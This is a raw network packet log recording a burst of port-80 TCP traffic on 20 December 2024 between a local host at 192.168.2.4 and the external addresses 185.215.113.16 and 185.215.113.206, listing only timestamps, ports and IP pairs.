Dec 20, 2024 11:12:40.770009041 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.770059109 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.771117926 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.771167994 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.771243095 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.771291018 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.772422075 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.772471905 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.772499084 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.772547960 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.773555040 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.773606062 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.773627996 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.773678064 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.774804115 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.774857998 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.774920940 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.774970055 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.776042938 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.776093960 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.776169062 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.776216984 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.777311087 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.777358055 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.777429104 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.777473927 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.778551102 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.778598070 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.778616905 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.778665066 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.779731989 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.779782057 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.779858112 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.779907942 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.781033993 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.781084061 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.781158924 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.781210899 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.782293081 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.782344103 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.782357931 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.782500982 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.783487082 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.783536911 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.783543110 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.783586025 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.784776926 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.784827948 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.784904003 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.784953117 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.785988092 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.786113024 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.786161900 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.787235022 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.787350893 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.787393093 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.788467884 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.788516998 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.788580894 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.788625002 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.789676905 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.789722919 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.789777040 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.789822102 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.790957928 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.791002035 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.791064024 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.791107893 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.792160988 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.792206049 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.792267084 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.792310953 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.793390036 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.793438911 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.793504953 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.793550968 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.794615984 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.794667959 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.794672012 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.794712067 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.795861006 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.795905113 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.795950890 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.796001911 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.797153950 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.797219992 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.797255993 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.797303915 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.798340082 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.798388004 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.922998905 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.923055887 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.923085928 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.923101902 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.923183918 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.923219919 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.923659086 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.923877954 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.923934937 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.924664021 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.924711943 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.924715996 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.925695896 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.925721884 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.925760031 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.925776005 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.926736116 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.926791906 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.926858902 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.927763939 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.927809954 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.927927971 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.928800106 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.928850889 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.928911924 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.928957939 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.929927111 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.930001974 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.930052996 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.930835009 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.930907965 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.930944920 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.931838989 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.931888103 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.931962967 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.932868004 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.932914019 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.932974100 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.933018923 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.933902025 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.934021950 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.934076071 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.934950113 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.935101986 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.935153961 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.935986996 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.936043978 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.936048031 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.936323881 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:40.936386108 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.936460018 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:40.936516047 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:40.936516047 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:40.937365055 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.937604904 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.937684059 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.937783957 CET	49846	80	192.168.2.4	185.215.113.206
Dec 20, 2024 11:12:40.938239098 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.938296080 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.939184904 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.939903975 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.941947937 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.942022085 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.942091942 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.942142963 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.942178011 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.942194939 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.942213058 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.942225933 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.942248106 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.942300081 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.943443060 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.943609953 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.943665981 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.944570065 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.944606066 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.944627047 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.944653034 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.945595980 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.945648909 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.945738077 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.945919037 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.946712971 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.946769953 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.946883917 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.946933985 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.947573900 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.947628021 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.947896957 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.947940111 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.948559046 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.948611021 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.948728085 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.948777914 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.949701071 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.949753046 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.949877977 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.949928045 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.950697899 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.950752020 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.950753927 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.950802088 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.952306986 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.952491045 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.952555895 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.952836990 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.952873945 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.952928066 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.953852892 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.953917027 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.954035997 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.954860926 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.954895973 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.954920053 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.954936981 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.955707073 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.955879927 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.955935955 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.956772089 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.956924915 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.956975937 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.957745075 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.957926989 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.957931042 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.958786964 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.958842039 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.958947897 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.960019112 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.960052967 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.960071087 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.960098982 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.961033106 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.961069107 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.961121082 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.961843967 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.962017059 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.962070942 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.962846994 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.962898016 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.963017941 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.963910103 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.964036942 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.964072943 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.964088917 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.964118004 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.965012074 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.965048075 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.965064049 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.965096951 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.965989113 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.966145039 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.966198921 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.967097044 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.967291117 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.967338085 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.968084097 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.968137026 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.968306065 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.968976021 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.969031096 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.969296932 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.969916105 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.970185995 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.970221043 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.970273972 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.971143007 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.971338034 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.971394062 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.972100019 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.972151995 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.972281933 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.973279953 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.973335981 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.973413944 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.974272013 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.974334955 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.974411011 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.975404978 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.975460052 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.975548983 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.975600958 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.976203918 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.976394892 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.976452112 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:40.977360010 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:40.978904963 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.057244062 CET	80	49846	185.215.113.206	192.168.2.4
Dec 20, 2024 11:12:41.114095926 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.114175081 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.114289045 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.114492893 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.114542961 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.114593029 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.115461111 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.115511894 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.115556002 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.116489887 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.116543055 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.116785049 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.117572069 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.117615938 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.117640018 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.117675066 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.118504047 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.118618011 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.118683100 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.119549036 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.119620085 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.119749069 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.119919062 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.120608091 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.120663881 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.120786905 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.120867968 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.121648073 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.121718884 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.121762991 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.122016907 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.122615099 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.122675896 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.122715950 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.122770071 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.123642921 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.123770952 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.123828888 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.124675989 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.124727964 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.124783993 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.125664949 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.125715017 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.125776052 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.125935078 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.126693010 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.126754045 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.126800060 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.126857042 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.127716064 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.127773046 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.127815008 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.127867937 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.128758907 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.128819942 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.128864050 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.129798889 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.129856110 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.129983902 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.130825996 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.130924940 CET	49845	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:41.130928993 CET	80	49845	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:41.130978107 CET	49845	80	192.168.2.4	185.215.113.16
